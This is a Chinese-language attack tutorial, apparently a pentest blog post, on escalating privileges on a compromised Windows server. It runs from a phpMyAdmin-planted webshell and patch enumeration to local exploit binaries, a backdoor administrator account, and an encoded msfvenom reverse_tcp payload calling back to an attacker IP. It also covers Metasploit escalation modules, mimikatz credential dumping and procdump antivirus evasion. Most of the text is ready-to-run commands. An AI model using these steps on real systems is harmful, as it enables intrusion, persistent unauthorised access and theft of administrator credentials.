每日一句:
坐看驕兵南渡,沸浪駭奔鯨。
——葉夢得《八聲甘州·壽陽樓八公山作》
本文內容:
一、信息收集
二、權限提升
三、獲取管理員密碼
本次目標:
通過前期的信息收集,然後進行漏洞利用,拿到管理員密碼
上一節,我們已經通過漏洞拿到服務器的一些低權限用戶,因爲權限問題,很多操作不能使用
本篇文章來介紹一下,對漏洞利用的升級版---提權。
一、信息收集
問:怎麼又說信息收集?
答:
~因爲它足夠重要,即使我們拿到webshell也要進行信息收集,這點很重要。
~當信息足夠完善的時候,我們可以進行提權。拿到管理員的明文密碼
二、權限提升
1,常見提權的方法:
~使用exp提權補丁進行權限提升,從用戶權限到管理員權限:windows提權工具
~使用MSF後滲透測試腳本提權
場景:爆破出phpmyadmin賬戶與密碼,登陸後,通過開啓日誌記錄,寫入到網站一個小馬
~參與phpinfo()測試小馬有沒有生效
~連接蟻劍
~打開虛擬終端你,whami一下,不出意外是低權限用戶
~輸入,systeminfo,顯示一下服務器詳細信息。側重看一眼補丁程序
===信息收集爲接下來的提權和其他操作做準備
額外小技巧:將服務器信息寫入到文本文檔中
示例:systeminfo >> sb.txt
2,快速查找exp提權補丁進行提權:
1,在線輔助網頁
在線比對補丁查找exp: https://bugs.hacking8.com/tiquan/
===版本號可以通過信息收集得到
2,提權輔助工具
https://github.com/GDSSecurity/Windows-Exploit-Suggester
使用步驟:
克隆項目:
git clone https://github.com/AonCyberLabs/Windows-Exploit-Suggester.git
安裝一下依賴庫:
pip3 install xlrd --upgrade
問:Python3 pip 與pip3 區別?
答:pip 是 Python 包管理工具,該工具提供了對Python 包的查找、下載、安裝、卸載的功能。
這時要看你機子上原來有沒有裝python2,如果以前有python2,那麼pip就是python2的,pip3就是python3的。
如果只有python3,pip和pip3就是一樣的。
進入剛剛克隆的目錄下: cd Windows-Exploit-Suggester
更新一下數據庫: python windows-exploit-suggester.py --update
掃描靶機有沒有可利用的提權工具:
./windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --systeminfo sb.txt
===固定格式 讀取數據庫 ls看目錄下具體文件名 固定格式 掃描的文件
注意,這個sb.txt需要放到Windows-Exploit-Suggester文件夾下,或者指定sb的絕對路徑
結果前面帶有,M的msf中可用的提權補丁,E是本地提權補丁。下邊跟着的是具體版本對應的下載地址
問:信息收集中,未發現該系統有什麼補丁,怎麼用?
答:python windows-exploit-suggester.py --database 2019-09-20-mssb.xls --ostext ‘Windows 7 ‘
需要修改 需要修改
補充一下,github上的一個win系統提取工具地址:https://github.com/SecWiki/windows-kernel-exploits
3,提權具體步驟
方法一:
手工提權:
場景:已經上傳小馬,systeminfo,找到對應提權exe文件,且已經下載
步驟:
~將對應提權文件上傳至服務器(假設此exe名字爲aa.exe)
~打開蟻劍虛擬終端
~輸入,aa.exe "whoami" 不出意外就是:system
格式:aa.exe "需要執行的命令"
注意:此時我們幾乎可以執行任意命令
說明:當whoami結果是system的時候,就證明我們已經提權成功了
問:接下來幹什麼?
答:創建一個屬於自己的用戶,將他加入系統管理員組
步驟:
~aa.exe "net user x x /add" ===創建用戶x,密碼爲x
~net user ===可以查看到x用戶被創建
~aa.exe "net localgroup adminstrators x /add" ===將x加入管理員組
方法二:
使用MSF進行提權
步驟:
1,開啓MSF
~service postgresql start ===開啓數據庫
~msfconsole ===開啓MSF
2,創建一個基礎木馬
~打開新的終端運行下邊目的
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 lhost=192.168.177.128 lport=1250 -f exe > shell.exe
說明: -e是指定平臺,-i是進行編碼 後邊的5是5次
3,將生成的木馬,用蟻劍進行上傳
4,開啓MSF的監聽模塊,接受會話
返回剛剛打開的MSF
~use exploit/multi/handler ===啓用監聽模塊
~options ===查看需要配置什麼
~set payload windows/meterpreter/reverse_tcp ===設置payload
~options ===繼續查看配置
自行配置一些東西如:靶機IP、端口
~run ===開啓監聽
~返回蟻劍,終端運行這個shell.exe文件
========================================================
========說明:此時,監聽模塊處,應該會出現會話==========
========================================================
~sessions -l ===查看會話
5,使用信息收集模塊-尋找提權腳本補丁
~use post/multi/recon/local_exploit_suggester
~options
~set sessions 1 ===設置配置
~run
正常情況下會找到一堆可以利用的
6,使用提權模塊
~use exploit/windows/local/ms15_051_client_copy_image
//從上邊查到的exp隨便選擇一個
~options
自行按照需要配置,如需要配置target
~show target ===查看有哪些target
~set target 1 ===選擇編號爲1的進行配置
~run
正常情況下,到這我麼已經提權到system了
三、獲取管理員密碼
簡述:通過mimikatz獲取管理員密碼
場景:通過MSF已經提權到管理員權限,如何獲取密碼
步驟:在上邊提權的基礎上,直接調用mimikatz命令。
meterpreter >mimikatz_command -f version
===查看版本信息
meterpreter >mimikatz_command -f samdump::hashes
===讀取本地hash
問題:如果電腦沒有mimikatz,可以去github上下載
答案:下載地址:https://github.com/gentilkiwi/mimikatz
額外一提:
有時,提權不成功,但是可以通過加載mimikatz來讀取hash
當然了,做麼做僅僅可以讀取到當前用戶的hash
步驟:
meterpreter > load mimikatz
這是若是提示:一些東西,看到“Did you mean to 'load kiwi' instead? ”
meterpreter > load kiwi
等加載出畫面,就可以使用了。具體命令上邊有(查看版本信息,讀取本地hash)
若權限足夠,等拿到hash就可以去拿去hash破解
在線解密: https://www.objectif-securite.ch/ophcrack
擴展:這個mimikatz有win版本,下載後上傳到服務器,(前提是,已經提權)
通過冰蠍連接,運行下邊命令也可以拿到管理員密碼的hash值
打開終端,
mimikatz.exe log
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
mimikatz # exit
四、補充說明
問: Kali中更新msf的命令是啥?
sudo apt update
apt install metasploit-framework
問:如何查看MSF的版本?
msfconsole
version
問:在使用exp提權補丁的時候要注意什麼?
模擬一個對方的環境出來,進行本地提權測試,不然的話,
很容易把對方的主機弄成藍屏或者是宕機的情況,這些情況對方對對方的業務造成影響。
問:補丁大致可以分爲哪兩種?
提權補丁分爲:本地提權和MSF模塊提權
問:不能確定提權補丁的作用 -該怎麼做?
首先,本地測試,然後去目標站點測試
隨便拿一個提權補丁攻擊其他的服務器,會造成對方網站崩潰,服務器藍屏,都會影響對方業務正常運行
問:如果對面服務器系統存在殺軟怎麼辦?
利用procdump+Mimikatz 繞過殺軟獲取Windows明文密碼
https://blog.csdn.net/chinafe/article/details/12196359
procdump微軟的軟件,實際上這裏用的是白名單
問:msf中創建一個基礎的木馬去鏈接是因爲什麼?
創建一個基礎木馬 爲了更好的穩定連接